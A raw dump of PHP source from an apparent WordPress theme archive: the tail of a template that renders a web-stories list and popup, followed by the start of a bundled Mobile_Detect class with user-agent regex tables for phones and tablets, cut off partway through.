		$web_query = new \WP_Query( $agrs );
		$total     = $web_query->found_posts;
		$seen      = isset( $_COOKIE['pc_webstories_seen'] ) && $_COOKIE['pc_webstories_seen'] ? explode( '|', $_COOKIE['pc_webstories_seen'] ) : [];
		$id_base   = $settings['id'] ? ' id="' . $settings['id'] . '"' : '';
		?>
        <div class="pc-wstories"<?php echo $id_base; ?>>
            <div class="pc-wstories-wrapper">
				<?php if ( $web_query->have_posts() ) : ?>
                    <div class="pc-wstories-list <?php echo implode( ' ', $class ); ?>"
						<?php echo $data_attr; ?>
                         data-total="<?php echo esc_attr( $total ); ?>">
						<?php
						$item_class = ' normal-item';
						if ( $settings['layout'] == 'slider' ) {
						$item_class = ' swiper-slide';
						?>
                        <div class="swiper-wrapper">
							<?php } ?>
							<?php while ( $web_query->have_posts() ) {
								$web_query->the_post();
								$seen_class = in_array( get_the_ID(), $seen ) ? ' seen' : ' new';
								$title      = get_the_title() ? get_the_title() : '';
								$count ++;
								?>
                                <div class="pc-webstory-item item-<?php echo esc_attr( $count ); ?> pc-story-link<?php echo $seen_class . $item_class; ?>"
                                     data-count="<?php echo esc_attr( $count ); ?>"
                                     data-id="<?php the_ID(); ?>"
                                     data-url="<?php echo get_the_permalink(); ?>">
                                    <div class="pc-webstory-item-wrapper">
                                        <div class="pc-webstory-thumb-wrapper">
											<?php if ( has_post_thumbnail() ): ?>

                                                <div <?php echo penci_layout_bg( get_the_post_thumbnail_url( get_the_ID(), $settings['imgsize'] ), 'yes' == $settings['lazyload'] ); ?> title="<?php echo sanitize_text_field( $title ); ?>"
                                                     class="<?php echo penci_layout_bg_class();?> penci-image-holder pc-webstory-thumb">
													<?php echo penci_layout_img( get_the_post_thumbnail_url( get_the_ID(), $settings['imgsize'] ), $title, 'yes' == $settings['lazyload'] ); ?>
                                                </div>

											<?php else: ?>
                                                <div title="<?php echo sanitize_text_field( $title ); ?>"
                                                     style="background-image:none;background-color:<?php echo sprintf( "#%06x", rand( 0, 16777215 ) ); ?>"
                                                     class="penci-image-holder pc-webstory-thumb"></div>
											<?php endif; ?>
                                        </div>
										<?php if ( 'yes' == $settings['showtitle'] ): ?>
                                            <div class="pc-webstory-item-title">
                                                <h4 title="<?php echo sanitize_text_field( $title ); ?>"><?php echo esc_html( $title ); ?></h4>
                                            </div>
										<?php endif; ?>
                                    </div>
                                </div>
							<?php } ?>
							<?php if ( $settings['layout'] == 'slider' ) { ?>
                        </div>
					<?php } ?>
                    </div>
				<?php endif;
				wp_reset_postdata(); ?>
            </div>
            <div class="pc-wstories-popup-wrapper">
                <div class="pc-wstories-popup-toolbar">
                    <span class="pc-ws-btn close">
                        <i class="penciicon-close-button"></i>
                    </span>
					<?php if ( 'yes' == $settings['nextprev'] ): ?>
                        <span class="pc-ws-btn pc-story-link disable previous">
                        <i class="penciicon-left-chevron"></i>
                    </span>
					<?php endif; ?>
					<?php if ( 'yes' == $settings['pos'] ): ?>
                        <span class="pc-ws-btn pc-story-info">
                            <span class="current"></span> / <span class="total"></span>
                        </span>
					<?php endif; ?>
					<?php if ( 'yes' == $settings['nextprev'] ): ?>
                        <span class="pc-ws-btn pc-story-link disable next">
                        <i class="penciicon-right-chevron"></i>
                    </span>
					<?php endif; ?>
                </div>
                <div class="pc-wstories-popup-content"></div>
                <div class="pc-loading-wrapper">
					<?php echo penci_get_html_animation_loading( $settings['ajax_loading_style'] ); ?>
                </div>
            </div>
        </div>
		<?php
	}
}
PK     N\mZx5 x5   inc/Mobile_Detect.phpnu [        <?php
/**
 * Mobile Detect Library
 * Motto: "Every business should have a mobile detection script to detect mobile readers"
 *
 * Mobile_Detect is a lightweight PHP class for detecting mobile devices (including tablets).
 * It uses the User-Agent string combined with specific HTTP headers to detect the mobile environment.
 *
 * Homepage: http://mobiledetect.net
 * GitHub: https://github.com/serbanghita/Mobile-Detect
 * README: https://github.com/serbanghita/Mobile-Detect/blob/master/README.md
 * CONTRIBUTING: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/CONTRIBUTING.md
 * KNOWN LIMITATIONS: https://github.com/serbanghita/Mobile-Detect/blob/master/docs/KNOWN_LIMITATIONS.md
 * EXAMPLES: https://github.com/serbanghita/Mobile-Detect/wiki/Code-examples
 *
 * @license https://github.com/serbanghita/Mobile-Detect/blob/master/LICENSE
 * @author  Serban Ghita <serbanghita@gmail.com> (since 2012)
 * @author  Nick Ilyin <nick.ilyin@gmail.com>
 * @author: Victor Stanciu <vic.stanciu@gmail.com> (original author)
 *
 * @version 3.74.3
 */
namespace Detection;

use BadMethodCallException;

/**
 * Auto-generated isXXXX() magic methods.
 * php export/dump_magic_methods.php
 *
 * @method bool isiPhone()
 * @method bool isBlackBerry()
 * @method bool isPixel()
 * @method bool isHTC()
 * @method bool isNexus()
 * @method bool isDell()
 * @method bool isMotorola()
 * @method bool isSamsung()
 * @method bool isLG()
 * @method bool isSony()
 * @method bool isAsus()
 * @method bool isXiaomi()
 * @method bool isNokiaLumia()
 * @method bool isMicromax()
 * @method bool isPalm()
 * @method bool isVertu()
 * @method bool isPantech()
 * @method bool isFly()
 * @method bool isWiko()
 * @method bool isiMobile()
 * @method bool isSimValley()
 * @method bool isWolfgang()
 * @method bool isAlcatel()
 * @method bool isNintendo()
 * @method bool isAmoi()
 * @method bool isINQ()
 * @method bool isOnePlus()
 * @method bool isGenericPhone()
 * @method bool isiPad()
 * @method bool isNexusTablet()
 * @method bool isGoogleTablet()
 * @method bool isSamsungTablet()
 * @method bool isKindle()
 * @method bool isSurfaceTablet()
 * @method bool isHPTablet()
 * @method bool isAsusTablet()
 * @method bool isBlackBerryTablet()
 * @method bool isHTCtablet()
 * @method bool isMotorolaTablet()
 * @method bool isNookTablet()
 * @method bool isAcerTablet()
 * @method bool isToshibaTablet()
 * @method bool isLGTablet()
 * @method bool isFujitsuTablet()
 * @method bool isPrestigioTablet()
 * @method bool isLenovoTablet()
 * @method bool isDellTablet()
 * @method bool isYarvikTablet()
 * @method bool isMedionTablet()
 * @method bool isArnovaTablet()
 * @method bool isIntensoTablet()
 * @method bool isIRUTablet()
 * @method bool isMegafonTablet()
 * @method bool isEbodaTablet()
 * @method bool isAllViewTablet()
 * @method bool isArchosTablet()
 * @method bool isAinolTablet()
 * @method bool isNokiaLumiaTablet()
 * @method bool isSonyTablet()
 * @method bool isPhilipsTablet()
 * @method bool isCubeTablet()
 * @method bool isCobyTablet()
 * @method bool isMIDTablet()
 * @method bool isMSITablet()
 * @method bool isSMiTTablet()
 * @method bool isRockChipTablet()
 * @method bool isFlyTablet()
 * @method bool isbqTablet()
 * @method bool isHuaweiTablet()
 * @method bool isNecTablet()
 * @method bool isPantechTablet()
 * @method bool isBronchoTablet()
 * @method bool isVersusTablet()
 * @method bool isZyncTablet()
 * @method bool isPositivoTablet()
 * @method bool isNabiTablet()
 * @method bool isKoboTablet()
 * @method bool isDanewTablet()
 * @method bool isTexetTablet()
 * @method bool isPlaystationTablet()
 * @method bool isTrekstorTablet()
 * @method bool isPyleAudioTablet()
 * @method bool isAdvanTablet()
 * @method bool isDanyTechTablet()
 * @method bool isGalapadTablet()
 * @method bool isMicromaxTablet()
 * @method bool isKarbonnTablet()
 * @method bool isAllFineTablet()
 * @method bool isPROSCANTablet()
 * @method bool isYONESTablet()
 * @method bool isChangJiaTablet()
 * @method bool isGUTablet()
 * @method bool isPointOfViewTablet()
 * @method bool isOvermaxTablet()
 * @method bool isHCLTablet()
 * @method bool isDPSTablet()
 * @method bool isVistureTablet()
 * @method bool isCrestaTablet()
 * @method bool isMediatekTablet()
 * @method bool isConcordeTablet()
 * @method bool isGoCleverTablet()
 * @method bool isModecomTablet()
 * @method bool isVoninoTablet()
 * @method bool isECSTablet()
 * @method bool isStorexTablet()
 * @method bool isVodafoneTablet()
 * @method bool isEssentielBTablet()
 * @method bool isRossMoorTablet()
 * @method bool isiMobileTablet()
 * @method bool isTolinoTablet()
 * @method bool isAudioSonicTablet()
 * @method bool isAMPETablet()
 * @method bool isSkkTablet()
 * @method bool isTecnoTablet()
 * @method bool isJXDTablet()
 * @method bool isiJoyTablet()
 * @method bool isFX2Tablet()
 * @method bool isXoroTablet()
 * @method bool isViewsonicTablet()
 * @method bool isVerizonTablet()
 * @method bool isOdysTablet()
 * @method bool isCaptivaTablet()
 * @method bool isIconbitTablet()
 * @method bool isTeclastTablet()
 * @method bool isOndaTablet()
 * @method bool isJaytechTablet()
 * @method bool isBlaupunktTablet()
 * @method bool isDigmaTablet()
 * @method bool isEvolioTablet()
 * @method bool isLavaTablet()
 * @method bool isAocTablet()
 * @method bool isMpmanTablet()
 * @method bool isCelkonTablet()
 * @method bool isWolderTablet()
 * @method bool isMediacomTablet()
 * @method bool isMiTablet()
 * @method bool isNibiruTablet()
 * @method bool isNexoTablet()
 * @method bool isLeaderTablet()
 * @method bool isUbislateTablet()
 * @method bool isPocketBookTablet()
 * @method bool isKocasoTablet()
 * @method bool isHisenseTablet()
 * @method bool isHudl()
 * @method bool isTelstraTablet()
 * @method bool isGenericTablet()
 * @method bool isAndroidOS()
 * @method bool isBlackBerryOS()
 * @method bool isPalmOS()
 * @method bool isSymbianOS()
 * @method bool isWindowsMobileOS()
 * @method bool isWindowsPhoneOS()
 * @method bool isiOS()
 * @method bool isiPadOS()
 * @method bool isSailfishOS()
 * @method bool isMeeGoOS()
 * @method bool isMaemoOS()
 * @method bool isJavaOS()
 * @method bool iswebOS()
 * @method bool isbadaOS()
 * @method bool isBREWOS()
 * @method bool isChrome()
 * @method bool isDolfin()
 * @method bool isOpera()
 * @method bool isSkyfire()
 * @method bool isEdge()
 * @method bool isIE()
 * @method bool isFirefox()
 * @method bool isBolt()
 * @method bool isTeaShark()
 * @method bool isBlazer()
 * @method bool isSafari()
 * @method bool isWeChat()
 * @method bool isUCBrowser()
 * @method bool isbaiduboxapp()
 * @method bool isbaidubrowser()
 * @method bool isDiigoBrowser()
 * @method bool isMercury()
 * @method bool isObigoBrowser()
 * @method bool isNetFront()
 * @method bool isGenericBrowser()
 * @method bool isPaleMoon()
 * @method bool isWebKit()
 * @method bool isConsole()
 * @method bool isWatch()
 */
class Penci_Mobile_Detect
{
    /**
     * A frequently used regular expression to extract version #s.
     *
     * @deprecated since version 2.6.9
     */
    const VER                       = '([\w._\+]+)';

    /**
     * Stores the version number of the current release.
     */
    const VERSION                   = '3.74.3';

    /**
     * A type for the version() method indicating a string return value.
     */
    const VERSION_TYPE_STRING       = 'text';

    /**
     * A type for the version() method indicating a float return value.
     */
    const VERSION_TYPE_FLOAT        = 'float';

    /**
     * A cache for resolved matches
     * @var array
     */
    protected array $cache = [];

    /**
     * The User-Agent HTTP header is stored in here.
     * @var string|null
     */
    protected ?string $userAgent = null;

    /**
     * HTTP headers in the PHP-flavor. So HTTP_USER_AGENT and SERVER_SOFTWARE.
     * @var array
     */
    protected array $httpHeaders = [];

    /**
     * CloudFront headers. E.g. CloudFront-Is-Desktop-Viewer, CloudFront-Is-Mobile-Viewer & CloudFront-Is-Tablet-Viewer.
     * @var array
     */
    protected array $cloudfrontHeaders = [];

    /**
     * The matching Regex.
     * This is good for debug.
     * @var string|null
     */
    protected ?string $matchingRegex = null;

    /**
     * The matches extracted from the regex expression.
     * This is good for debug.
     *
     * @var array|null
     */
    protected ?array $matchesArray = null;

    /**
     * HTTP headers that trigger the 'isMobile' detection
     * to be true.
     *
     * @var array
     */
    protected static array $mobileHeaders = [

            'HTTP_ACCEPT'                  => [
                'matches' => [
                    // Opera Mini
                    // @reference: http://dev.opera.com/articles/view/opera-binary-markup-language/
                    'application/x-obml2d',
                    // BlackBerry devices.
                    'application/vnd.rim.html',
                    'text/vnd.wap.wml',
                    'application/vnd.wap.xhtml+xml'
                ]],
            'HTTP_X_WAP_PROFILE'           => null,
            'HTTP_X_WAP_CLIENTID'          => null,
            'HTTP_WAP_CONNECTION'          => null,
            'HTTP_PROFILE'                 => null,
            // Reported by Opera on Nokia devices (eg. C3).
            'HTTP_X_OPERAMINI_PHONE_UA'    => null,
            'HTTP_X_NOKIA_GATEWAY_ID'      => null,
            'HTTP_X_ORANGE_ID'             => null,
            'HTTP_X_VODAFONE_3GPDPCONTEXT' => null,
            'HTTP_X_HUAWEI_USERID'         => null,
            // Reported by Windows Smartphones.
            'HTTP_UA_OS'                   => null,
            // Reported by Verizon, Vodafone proxy system.
            'HTTP_X_MOBILE_GATEWAY'        => null,
            // Seen this on HTC Sensation. SensationXE_Beats_Z715e.
            'HTTP_X_ATT_DEVICEID'          => null,
            // Seen this on a HTC.
            'HTTP_UA_CPU'                  => ['matches' => ['ARM']],
    ];

    /**
     * List of mobile devices (phones).
     *
     * @var array
     */
    protected static array $phoneDevices = [
        'iPhone'        => '\biPhone\b|\biPod\b', // |\biTunes
        'BlackBerry'    => 'BlackBerry|\bBB10\b|rim[0-9]+|\b(BBA100|BBB100|BBD100|BBE100|BBF100|STH100)\b-[0-9]+',
        'Pixel'         => '; \bPixel\b',
        'HTC'           => 'HTC|HTC.*(Sensation|Evo|Vision|Explorer|6800|8100|8900|A7272|S510e|C110e|Legend|Desire|T8282)|APX515CKT|Qtek9090|APA9292KT|HD_mini|Sensation.*Z710e|PG86100|Z715e|Desire.*(A8181|HD)|ADR6200|ADR6400L|ADR6425|001HT|Inspire 4G|Android.*\bEVO\b|T-Mobile G1|Z520m|Android [0-9.]+; Pixel',
        'Nexus'         => 'Nexus One|Nexus S|Galaxy.*Nexus|Android.*Nexus.*Mobile|Nexus 4|Nexus 5|Nexus 5X|Nexus 6',
        // @todo: Is 'Dell Streak' a tablet or a phone? ;)
        'Dell'          => 'Dell[;]? (Streak|Aero|Venue|Venue Pro|Flash|Smoke|Mini 3iX)|XCD28|XCD35|\b001DL\b|\b101DL\b|\bGS01\b',
        'Motorola'      => 'Motorola|DROIDX|DROID BIONIC|\bDroid\b.*Build|Android.*Xoom|HRI39|MOT-|A1260|A1680|A555|A853|A855|A953|A955|A956|Motorola.*ELECTRIFY|Motorola.*i1|i867|i940|MB200|MB300|MB501|MB502|MB508|MB511|MB520|MB525|MB526|MB611|MB612|MB632|MB810|MB855|MB860|MB861|MB865|MB870|ME501|ME502|ME511|ME525|ME600|ME632|ME722|ME811|ME860|ME863|ME865|MT620|MT710|MT716|MT720|MT810|MT870|MT917|Motorola.*TITANIUM|WX435|WX445|XT300|XT301|XT311|XT316|XT317|XT319|XT320|XT390|XT502|XT530|XT531|XT532|XT535|XT603|XT610|XT611|XT615|XT681|XT701|XT702|XT711|XT720|XT800|XT806|XT860|XT862|XT875|XT882|XT883|XT894|XT901|XT907|XT909|XT910|XT912|XT928|XT926|XT915|XT919|XT925|XT1021|\bMoto E\b|XT1068|XT1092|XT1052',
        'Samsung'       => '\bSamsung\b|SM-G950F|SM-G955F|SM-G9250|GT-19300|SGH-I337|BGT-S5230|GT-B2100|GT-B2700|GT-B2710|GT-B3210|GT-B3310|GT-B3410|GT-B3730|GT-B3740|GT-B5510|GT-B5512|GT-B5722|GT-B6520|GT-B7300|GT-B7320|GT-B7330|GT-B7350|GT-B7510|GT-B7722|GT-B7800|GT-C3010|GT-C3011|GT-C3060|GT-C3200|GT-C3212|GT-C3212I|GT-C3262|GT-C3222|GT-C3300|GT-C3300K|GT-C3303|GT-C3303K|GT-C3310|GT-C3322|GT-C3330|GT-C3350|GT-C3500|GT-C3510|GT-C3530|GT-C3630|GT-C3780|GT-C5010|GT-C5212|GT-C6620|GT-C6625|GT-C6712|GT-E1050|GT-E1070|GT-E1075|GT-E1080|GT-E1081|GT-E1085|GT-E1087|GT-E1100|GT-E1107|GT-E1110|GT-E1120|GT-E1125|GT-E1130|GT-E1160|GT-E1170|GT-E1175|GT-E1180|GT-E1182|GT-E1200|GT-E1210|GT-E1225|GT-E1230|GT-E1390|GT-E2100|GT-E2120|GT-E2121|GT-E2152|GT-E2220|GT-E2222|GT-E2230|GT-E2232|GT-E2250|GT-E2370|GT-E2550|GT-E2652|GT-E3210|GT-E3213|GT-I5500|GT-I5503|GT-I5700|GT-I5800|GT-I5801|GT-I6410|GT-I6420|GT-I7110|GT-I7410|GT-I7500|GT-I8000|GT-I8150|GT-I8160|GT-I8190|GT-I8320|GT-I8330|GT-I8350|GT-I8530|GT-I8700|GT-I8703|GT-I8910|GT-I9000|GT-I9001|GT-I9003|GT-I9010|GT-I9020|GT-I9023|GT-I9070|GT-I9082|GT-I9100|GT-I9103|GT-I9220|GT-I9250|GT-I9300|GT-I9305|GT-I9500|GT-I9505|GT-M3510|GT-M5650|GT-M7500|GT-M7600|GT-M7603|GT-M8800|GT-M8910|GT-N7000|GT-S3110|GT-S3310|GT-S3350|GT-S3353|GT-S3370|GT-S3650|GT-S3653|GT-S3770|GT-S3850|GT-S5210|GT-S5220|GT-S5229|GT-S5230|GT-S5233|GT-S5250|GT-S5253|GT-S5260|GT-S5263|GT-S5270|GT-S5300|GT-S5330|GT-S5350|GT-S5360|GT-S5363|GT-S5369|GT-S5380|GT-S5380D|GT-S5560|GT-S5570|GT-S5600|GT-S5603|GT-S5610|GT-S5620|GT-S5660|GT-S5670|GT-S5690|GT-S5750|GT-S5780|GT-S5830|GT-S5839|GT-S6102|GT-S6500|GT-S7070|GT-S7200|GT-S7220|GT-S7230|GT-S7233|GT-S7250|GT-S7500|GT-S7530|GT-S7550|GT-S7562|GT-S7710|GT-S8000|GT-S8003|GT-S8500|GT-S8530|GT-S8600|SCH-A310|SCH-A530|SCH-A570|SCH-A610|SCH-A630|SCH-A650|SCH-A790|SCH-A795|SCH-A850|SCH-A870|SCH-A890|SCH-A930|SCH-A950|SCH-A970|SCH-A990|SCH-I100|SCH-I110|SCH-I400|SCH-I405|SCH-I500|SCH-I510|SCH-I515|SCH-I600|SCH-I730|SCH-I760|SCH-I770|SCH-I830|SCH-I910|SCH-I920|SCH-I959|SCH-LC11|SCH-N150|SCH-N300|SCH-R100|SCH-R300|SCH-R351|SCH-R400|SCH-R410|SCH-T300|SCH-U310|SCH-U320|SCH-U350|SCH-U360|SCH-U365|SCH-U370|SCH-U380|SCH-U410|SCH-U430|SCH-U450|SCH-U460|SCH-U470|SCH-U490|SCH-U540|SCH-U550|SCH-U620|SCH-U640|SCH-U650|SCH-U660|SCH-U700|SCH-U740|SCH-U750|SCH-U810|SCH-U820|SCH-U900|SCH-U940|SCH-U960|SCS-26UC|SGH-A107|SGH-A117|SGH-A127|SGH-A137|SGH-A157|SGH-A167|SGH-A177|SGH-A187|SGH-A197|SGH-A227|SGH-A237|SGH-A257|SGH-A437|SGH-A517|SGH-A597|SGH-A637|SGH-A657|SGH-A667|SGH-A687|SGH-A697|SGH-A707|SGH-A717|SGH-A727|SGH-A737|SGH-A747|SGH-A767|SGH-A777|SGH-A797|SGH-A817|SGH-A827|SGH-A837|SGH-A847|SGH-A867|SGH-A877|SGH-A887|SGH-A897|SGH-A927|SGH-B100|SGH-B130|SGH-B200|SGH-B220|SGH-C100|SGH-C110|SGH-C120|SGH-C130|SGH-C140|SGH-C160|SGH-C170|SGH-C180|SGH-C200|SGH-C207|SGH-C210|SGH-C225|SGH-C230|SGH-C417|SGH-C450|SGH-D307|SGH-D347|SGH-D357|SGH-D407|SGH-D415|SGH-D780|SGH-D807|SGH-D980|SGH-E105|SGH-E200|SGH-E315|SGH-E316|SGH-E317|SGH-E335|SGH-E590|SGH-E635|SGH-E715|SGH-E890|SGH-F300|SGH-F480|SGH-I200|SGH-I300|SGH-I320|SGH-I550|SGH-I577|SGH-I600|SGH-I607|SGH-I617|SGH-I627|SGH-I637|SGH-I677|SGH-I700|SGH-I717|SGH-I727|SGH-i747M|SGH-I777|SGH-I780|SGH-I827|SGH-I847|SGH-I857|SGH-I896|SGH-I897|SGH-I900|SGH-I907|SGH-I917|SGH-I927|SGH-I937|SGH-I997|SGH-J150|SGH-J200|SGH-L170|SGH-L700|SGH-M110|SGH-M150|SGH-M200|SGH-N105|SGH-N500|SGH-N600|SGH-N620|SGH-N625|SGH-N700|SGH-N710|SGH-P107|SGH-P207|SGH-P300|SGH-P310|SGH-P520|SGH-P735|SGH-P777|SGH-Q105|SGH-R210|SGH-R220|SGH-R225|SGH-S105|SGH-S307|SGH-T109|SGH-T119|SGH-T139|SGH-T209|SGH-T219|SGH-T229|SGH-T239|SGH-T249|SGH-T259|SGH-T309|SGH-T319|SGH-T329|SGH-T339|SGH-T349|SGH-T359|SGH-T369|SGH-T379|SGH-T409|SGH-T429|SGH-T439|SGH-T459|SGH-T469|SGH-T479|SGH-T499|SGH-T509|SGH-T519|SGH-T539|SGH-T559|SGH-T589|SGH-T609|SGH-T619|SGH-T629|SGH-T639|SGH-T659|SGH-T669|SGH-T679|SGH-T709|SGH-T719|SGH-T729|SGH-T739|SGH-T746|SGH-T749|SGH-T759|SGH-T769|SGH-T809|SGH-T819|SGH-T839|SGH-T919|SGH-T929|SGH-T939|SGH-T959|SGH-T989|SGH-U100|SGH-U200|SGH-U800|SGH-V205|SGH-V206|SGH-X100|SGH-X105|SGH-X120|SGH-X140|SGH-X426|SGH-X427|SGH-X475|SGH-X495|SGH-X497|SGH-X507|SGH-X600|SGH-X610|SGH-X620|SGH-X630|SGH-X700|SGH-X820|SGH-X890|SGH-Z130|SGH-Z150|SGH-Z170|SGH-ZX10|SGH-ZX20|SHW-M110|SPH-A120|SPH-A400|SPH-A420|SPH-A460|SPH-A500|SPH-A560|SPH-A600|SPH-A620|SPH-A660|SPH-A700|SPH-A740|SPH-A760|SPH-A790|SPH-A800|SPH-A820|SPH-A840|SPH-A880|SPH-A900|SPH-A940|SPH-A960|SPH-D600|SPH-D700|SPH-D710|SPH-D720|SPH-I300|SPH-I325|SPH-I330|SPH-I350|SPH-I500|SPH-I600|SPH-I700|SPH-L700|SPH-M100|SPH-M220|SPH-M240|SPH-M300|SPH-M305|SPH-M320|SPH-M330|SPH-M350|SPH-M360|SPH-M370|SPH-M380|SPH-M510|SPH-M540|SPH-M550|SPH-M560|SPH-M570|SPH-M580|SPH-M610|SPH-M620|SPH-M630|SPH-M800|SPH-M810|SPH-M850|SPH-M900|SPH-M910|SPH-M920|SPH-M930|SPH-N100|SPH-N200|SPH-N240|SPH-N300|SPH-N400|SPH-Z400|SWC-E100|SCH-i909|GT-N7100|GT-N7105|SCH-I535|SM-N900A|SGH-I317|SGH-T999L|GT-S5360B|GT-I8262|GT-S6802|GT-S6312|GT-S6310|GT-S5312|GT-S5310|GT-I9105|GT-I8510|GT-S6790N|SM-G7105|SM-N9005|GT-S5301|GT-I9295|GT-I9195|SM-C101|GT-S7392|GT-S7560|GT-B7610|GT-I5510|GT-S7582|GT-S7530E|GT-I8750|SM-G9006V|SM-G9008V|SM-G9009D|SM-G900A|SM-G900D|SM-G900F|SM-G900H|SM-G900I|SM-G900J|SM-G900K|SM-G900L|SM-G900M|SM-G900P|SM-G900R4|SM-G900S|SM-G900T|SM-G900V|SM-G900W8|SHV-E160K|SCH-P709|SCH-P729|SM-T2558|GT-I9205|SM-G9350|SM-J120F|SM-G920F|SM-G920V|SM-G930F|SM-N910C|SM-A310F|GT-I9190|SM-J500FN|SM-G903F|SM-J330F|SM-G610F|SM-G981B|SM-G892A|SM-A530F|SM-G988N|SM-G781B|SM-A805N|SM-G965F',
        'LG'            => '\bLG\b;|LG[- ]?(C800|C900|E400|E610|E900|E-900|F160|F180K|F180L|F180S|730|855|L160|LS740|LS840|LS970|LU6200|MS690|MS695|MS770|MS840|MS870|MS910|P500|P700|P705|VM696|AS680|AS695|AX840|C729|E970|GS505|272|C395|E739BK|E960|L55C|L75C|LS696|LS860|P769BK|P350|P500|P509|P870|UN272|US730|VS840|VS950|LN272|LN510|LS670|LS855|LW690|MN270|MN510|P509|P769|P930|UN200|UN270|UN510|UN610|US670|US740|US760|UX265|UX840|VN271|VN530|VS660|VS700|VS740|VS750|VS910|VS920|VS930|VX9200|VX11000|AX840A|LW770|P506|P925|P999|E612|D955|D802|MS323|M257)|LM-G710',
        'Sony'          => 'SonyST|SonyLT|SonyEricsson|SonyEricssonLT15iv|LT18i|E10i|LT28h|LT26w|SonyEricssonMT27i|C5303|C6902|C6903|C6906|C6943|D2533|SOV34|601SO|F8332',
        'Asus'          => 'Asus.*Galaxy|PadFone.*Mobile|ASUS_Z01QD|ASUS_X00TD',
        'Xiaomi'        => '^(?!.*\bx11\b).*xiaomi.*$|POCOPHONE F1|\bMI\b 8|\bMi\b 10|Redmi Note 9S|Redmi 5A|Redmi Note 5A Prime|Redmi Note 7 Pro|N2G47H|M2001J2G|M2001J2I|M1805E10A|M2004J11G|M1902F1G|M2002J9G|M2004J19G|M2003J6A1G|M2012K11C|M2007J1SC',
        'NokiaLumia'    => 'Lumia [0-9]{3,4}',
        // http://www.micromaxinfo.com/mobiles/smartphones
        // Added because the codes might conflict with Acer Tablets.
        'Micromax'      => 'Micromax.*\b(A210|A92|A88|A72|A111|A110Q|A115|A116|A110|A90S|A26|A51|A35|A54|A25|A27|A89|A68|A65|A57|A90)\b',
        // @todo Complete the regex.
        'Palm'          => 'PalmSource|Palm', // avantgo|blazer|elaine|hiptop|plucker|xiino ;
        'Vertu'         => 'Vertu|Vertu.*Ltd|Vertu.*Ascent|Vertu.*Ayxta|Vertu.*Constellation(F|Quest)?|Vertu.*Monika|Vertu.*Signature', // Just for fun ;)
        // http://www.pantech.co.kr/en/prod/prodList.do?gbrand=VEGA (PANTECH)
        // Most of the VEGA devices are legacy. PANTECH seem to be newer devices based on Android.
        'Pantech'       => 'PANTECH|IM-A850S|IM-A840S|IM-A830L|IM-A830K|IM-A830S|IM-A820L|IM-A810K|IM-A810S|IM-A800S|IM-T100K|IM-A725L|IM-A780L|IM-A775C|IM-A770K|IM-A760S|IM-A750K|IM-A740S|IM-A730S|IM-A720L|IM-A710K|IM-A690L|IM-A690S|IM-A650S|IM-A630K|IM-A600S|VEGA PTL21|PT003|P8010|ADR910L|P6030|P6020|P9070|P4100|P9060|P5000|CDM8992|TXT8045|ADR8995|IS11PT|P2030|P6010|P8000|PT002|IS06|CDM8999|P9050|PT001|TXT8040|P2020|P9020|P2000|P7040|P7000|C790',
        // http://www.fly-phone.com/devices/smartphones/ ; Included only smartphones.
        'Fly'           => 'IQ230|IQ444|IQ450|IQ440|IQ442|IQ441|IQ245|IQ256|IQ236|IQ255|IQ235|IQ245|IQ275|IQ240|IQ285|IQ280|IQ270|IQ260|IQ250',
        // http://fr.wikomobile.com
        'Wiko'          => 'KITE 4G|HIGHWAY|GETAWAY|STAIRWAY|DARKSIDE|DARKFULL|DARKNIGHT|DARKMOON|SLIDE|WAX 4G|RAINBOW|BLOOM|SUNSET|GOA(?!nna)|LENNY|BARRY|IGGY|OZZY|CINK FIVE|CINK PEAX|CINK PEAX 2|CINK SLIM|CINK SLIM 2|CINK +|CINK KING|CINK PEAX|CINK SLIM|SUBLIM',
        'iMobile'        => 'i-mobile (IQ|i-STYLE|idea|ZAA|Hitz)',
        // Added simvalley mobile just for fun. They have some interesting devices.
        // http://www.simvalley.fr/telephonie---gps-_22_telephonie-mobile_telephones_.html
        'SimValley'     => '\b(SP-80|XT-930|SX-340|XT-930|SX-310|SP-360|SP60|SPT-800|SP-120|SPT-800|SP-140|SPX-5|SPX-8|SP-100|SPX-8|SPX-12)\b',
         // Wolfgang - a brand that is sold by Aldi supermarkets.
         // http://www.wolfgangmobile.com/
        'Wolfgang'      => 'AT-B24D|AT-AS50HD|AT-AS40W|AT-AS55HD|AT-AS45q2|AT-B26D|AT-AS50Q',
        'Alcatel'       => 'Alcatel',
        'Nintendo'      => 'Nintendo (3DS|Switch)',
        // http://en.wikipedia.org/wiki/Amoi
        'Amoi'          => 'Amoi',
        // http://en.wikipedia.org/wiki/INQ
        'INQ'           => 'INQ',
        'OnePlus'       => 'ONEPLUS',
        // @Tapatalk is a mobile app; http://support.tapatalk.com/threads/smf-2-0-2-os-and-browser-detection-plugin-and-tapatalk.15565/#post-79039
        'GenericPhone'  => 'Tapatalk|PDA;|SAGEM|\bmmp\b|pocket|\bpsp\b|symbian|Smartphone|smartfon|treo|up.browser|up.link|vodafone|\bwap\b|nokia|Series40|Series60|S60|SonyEricsson|N900|MAUI.*WAP.*Browser',
    ];

    /**
     * List of tablet devices.
     *
     * @var array
     */
    protected static array $tabletDevices = [
        // @todo: check for mobile friendly emails topic.
        'iPad'              => 'iPad|iPad.*Mobile',
        // Removed |^.*Android.*Nexus(?!(?:Mobile).)*$
        // @see #442
        // @todo Merge NexusTablet into GoogleTablet.
        'NexusTablet'       => 'Android.*Nexus[\s]+(7|9|10)',
        // https://en.wikipedia.org/wiki/Pixel_C
        'GoogleTablet'           => 'Android.*Pixel C',
